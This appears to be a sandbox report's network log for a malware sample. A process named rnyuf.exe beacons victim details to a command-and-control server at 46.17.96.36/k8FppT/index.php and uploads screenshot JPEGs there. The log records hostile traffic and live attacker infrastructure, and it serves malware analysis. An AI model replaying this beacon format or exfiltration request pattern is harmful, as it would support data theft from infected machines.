Aug 29, 2021 22:28:53.582918882 CEST	16161	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:53.659307003 CEST	16161	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
257	192.168.2.4	49996	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:53.874197960 CEST	16162	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:53.950877905 CEST	16252	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
258	192.168.2.4	49997	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:53.878019094 CEST	16163	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----22b9bce780ae51346657ff6c50487d5a Host: 46.17.96.36 Content-Length: 107598 Cache-Control: no-cache
Aug 29, 2021 22:28:53.878096104 CEST	16163	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 32 32 62 39 62 63 65 37 38 30 61 65 35 31 33 34 36 36 35 37 66 66 36 63 35 30 34 38 37 64 35 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------22b9bce780ae51346657ff6c50487d5aContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:28:53.878537893 CEST	16173	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:28:53.878770113 CEST	16176	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:28:53.913691044 CEST	16178	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:28:53.913733006 CEST	16181	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:28:53.913741112 CEST	16184	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:28:53.914014101 CEST	16192	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:28:53.914114952 CEST	16196	OUT	Data Raw: b3 13 c9 24 f7 34 66 bb 23 b2 4c e4 95 9b 6d 0e f2 d4 f7 a4 31 0f 5a 4e 69 72 6a b4 27 51 3c 9f 7a 3c 93 4b b8 d2 ef 34 59 0e f2 19 e5 35 21 42 2a 5f 33 da 9d e6 0f 4a 2c 85 76 56 c1 f4 a5 c7 b5 58 dc a7 b5 38 04 3d a8 e4 0e 72 a5 15 68 c6 9d 8d Data Ascii: $4f#Lm1ZNirj'Q<z<K4Y5!B*_3J,vVX8=rh'Mjoy+dCKRy,)l;Qf;SNYQE%(QKLAEPEJ(,!(bbQE)iZ){!i`Z))EIAKE-)j,(SR>Sii:@PE-B
Aug 29, 2021 22:28:53.914284945 CEST	16201	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:28:53.949532986 CEST	16204	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:28:54.060151100 CEST	16272	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
259	192.168.2.4	49998	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:54.192004919 CEST	16273	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:54.276460886 CEST	16273	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0
Aug 29, 2021 22:28:54.394821882 CEST	16273	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3c Host: 46.17.96.36 Content-Length: 107128 Cache-Control: no-cache
Aug 29, 2021 22:28:54.394903898 CEST	16273	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 34 31 32 65 38 35 62 30 37 65 62 63 39 33 31 63 39 33 30 35 64 36 64 37 61 35 64 39 36 64 33 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------412e85b07ebc931c9305d6d7a5d96d3cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:28:54.395075083 CEST	16283	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:28:54.395260096 CEST	16286	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:28:54.430876970 CEST	16292	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:28:54.430951118 CEST	16308	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:28:54.430991888 CEST	16313	OUT	Data Raw: b5 1a 90 b5 c9 78 47 14 e5 4e a2 76 3e 52 ef 5e 95 f0 3d 51 fc 79 2a ba ab 29 b1 93 21 86 47 de 4a f3 5a eb 3e 1e 78 a6 d3 c1 fe 24 7d 4e f2 de 69 e2 36 ef 10 48 b1 92 49 5f 52 38 e0 d7 9d 51 37 06 91 ed 53 69 49 36 7a 94 7e 28 bd be f1 84 70 d8 Data Ascii: xGNv>R^=Qy*)!GJZ>x$}Ni6HI_R8Q7SiI6z~(pI-{d\#8$/exjQUUf 8fg4Rfy^8#TZ#Qu]oIV}+mmkEx[II uH {
Aug 29, 2021 22:28:54.468225002 CEST	16316	OUT	Data Raw: 90 14 6d a2 48 8b 15 03 e6 fb a4 b1 c8 ce 7d c5 72 5a aa b7 e3 f7 af d2 e7 53 74 da 7f 81 62 1f 09 c9 3b ed 1a c6 94 aa f7 26 ce dd dd e5 0b 73 30 00 b2 21 f2 f8 c1 65 05 9b 6a e4 f0 48 e6 8b 3f 05 dd dd 5b da c9 f6 ed 36 09 ee a3 9a 58 6d a6 99 Data Ascii: mH}rZStb;&s0!ejH?[6Xm3,$dtznDmaaw5\#m3c,XTq1J,$+X\[#8b]f7cu?VMK_j0X\[^A5KtP?0O~6\vOn[28
Aug 29, 2021 22:28:54.468282938 CEST	16337	OUT	Data Raw: b8 d2 ef de 58 82 ee 31 be 57 e6 50 dc 65 c1 e8 47 6a e5 a7 56 a5 57 cb 08 dd 9b d4 a7 4e 92 e6 9c ac 8f 9f bf b1 f5 3f fa 07 5d ff 00 df 86 ff 00 0a 3f b1 f5 3f fa 07 5d ff 00 df 86 ff 00 0a f7 33 e2 1f 03 8e ba 4e a7 f9 8f fe 39 5b fa 35 9f 85 Data Ascii: X1WPeGjVWN?]??]3N9[5u5&0`G^y")%6cZXeVh9:GktFdmvs0~^H xY3.Y]Z*9WAQE(>o&Q\bdg)z{WU
Aug 29, 2021 22:28:54.468331099 CEST	16339	OUT	Data Raw: ff 00 84 6b 5f 92 c1 65 69 23 da 24 8d 9d 0a 36 d3 9c 64 10 0e 78 ad a9 56 e7 d1 ee 63 56 97 26 ab 63 0c 75 a7 f6 a6 53 bb 57 42 30 61 de 9e 29 29 d5 44 b2 c5 95 a4 fa 85 f5 bd 95 ac 7e 65 c5 c4 ab 14 49 90 37 3b 10 00 c9 e0 72 7b d7 61 ff 00 0a Data Ascii: k_ei#$6dxVcV&cuSWB0a))D~eI7;r{a??gZT~C+iSH6Q7Tuo~,P;uG&8$#$BN'T7CLK;o9LH~.fUM?
Aug 29, 2021 22:28:54.468358040 CEST	16355	OUT	Data Raw: e5 fa ca d5 17 9f 23 7d e7 63 f8 d4 20 d2 83 cd 35 4e 2b a0 bd ac 9f 52 46 63 b4 fd 2b ca 7c 7f ff 00 21 5b 6f fa e0 3f 99 af 55 3c ab 7d 2b ca 7c 7b ce ab 6d ff 00 5e e3 f9 9a d6 92 44 36 dc 91 e5 c7 a5 25 14 57 9e 7b 68 f4 df 81 9f f2 3b 5e ff Data Ascii: #}c 5N+RFc+\|![o?U<}+\|{m^D6%W{h;^9duD\<oh(H'MK=cZG{LcrUVu=,-hBC[k`:j-N08V"Gh?j?qG;4SsK@
Aug 29, 2021 22:28:54.578267097 CEST	16381	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.4	49761	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:22.130506992 CEST	3825	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688c Host: 46.17.96.36 Content-Length: 107127 Cache-Control: no-cache
Aug 29, 2021 22:27:22.130615950 CEST	3825	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 36 66 32 62 38 65 63 31 32 35 38 33 33 62 66 66 65 36 31 63 33 30 38 62 30 34 30 31 36 38 38 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------6f2b8ec125833bffe61c308b0401688cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:22.130789995 CEST	3835	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:22.130882978 CEST	3838	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:22.166085958 CEST	3841	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:22.166146994 CEST	3858	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:27:22.166172028 CEST	3863	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:27:22.201596975 CEST	3868	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:22.201636076 CEST	3882	OUT	Data Raw: 54 8e cc dc 87 52 90 74 94 fe 75 a3 06 ab 70 3f e5 a9 35 ca 23 94 61 5a 76 ce 49 ae 5a b8 78 5b 63 d1 c3 63 6a 37 6b 9d 47 88 27 79 bc 15 23 b7 52 6b c7 e5 3f 31 af 56 d7 1f 1e 03 6f f7 ab c9 64 ea 69 65 8a d4 e5 ea 77 e3 f5 ab 16 fb 23 da 74 67 Data Ascii: TRtup?5#aZvIZx[ccj7kG'y#Rk?1Vodiew#tg<J):\P3EgyWNO;Qdoi_qT=iv_FL.PR_^Ei%CVUR[.},s2hwalT-a:pcqWdTSin$<
Aug 29, 2021 22:27:22.201654911 CEST	3887	OUT	Data Raw: 50 67 ce f8 cd 30 83 9e 6b e8 e5 f0 d6 88 07 fc 82 ed 7f ef 8a f3 3f 89 9a 7d 9d 95 cd 97 d9 2d a2 83 72 36 e1 18 c6 79 aa 85 5e 77 60 92 e5 3c 8e 93 14 99 a5 15 c6 7a 07 a6 fc 0d e3 c6 b7 bf f6 0e 7f fd 19 1d 7b ad f3 e2 df 1f de 60 3f af f4 af Data Ascii: Pg0k?}-r6y^w`<z{`?t}fA4;;;]> x!GVP)F{0T]Il;j\|~)k%o1)qIJ+,)i3@4uR)<:s^Q_YH;x~^S
Aug 29, 2021 22:27:22.201669931 CEST	3892	OUT	Data Raw: de af 27 b1 1f f1 3a b4 ff 00 ae cb fc e8 cb 9f fb 1b f9 9d 78 fd 31 bf 71 ea 3e 2b ff 00 90 84 7f f5 cc 57 3a c3 9e 2b a3 f1 59 c6 a1 1f fd 73 ae 70 9e 6a 30 7f c1 46 38 ff 00 e3 c8 6e 29 7a 51 45 75 9c 03 b3 4e 18 a6 01 4e 02 a5 96 87 8a 5c d3 Data Ascii: ':x1q>+W:+Yspj0F8n)zQEuNN\E-"fiYhpf)f"ARbrEJ)TSSrKIZ)F2ep`T3D; se\B^_yMEMJ=+EP)hZb"@iiE
Aug 29, 2021 22:27:22.312053919 CEST	3932	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
260	192.168.2.4	49999	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:54.579510927 CEST	16381	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:54.657860041 CEST	16382	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
261	192.168.2.4	50000	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:54.906678915 CEST	16383	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:54.983223915 CEST	16472	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
262	192.168.2.4	50001	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:54.907196045 CEST	16383	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3c Host: 46.17.96.36 Content-Length: 107128 Cache-Control: no-cache
Aug 29, 2021 22:28:54.907332897 CEST	16383	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 34 31 32 65 38 35 62 30 37 65 62 63 39 33 31 63 39 33 30 35 64 36 64 37 61 35 64 39 36 64 33 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------412e85b07ebc931c9305d6d7a5d96d3cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
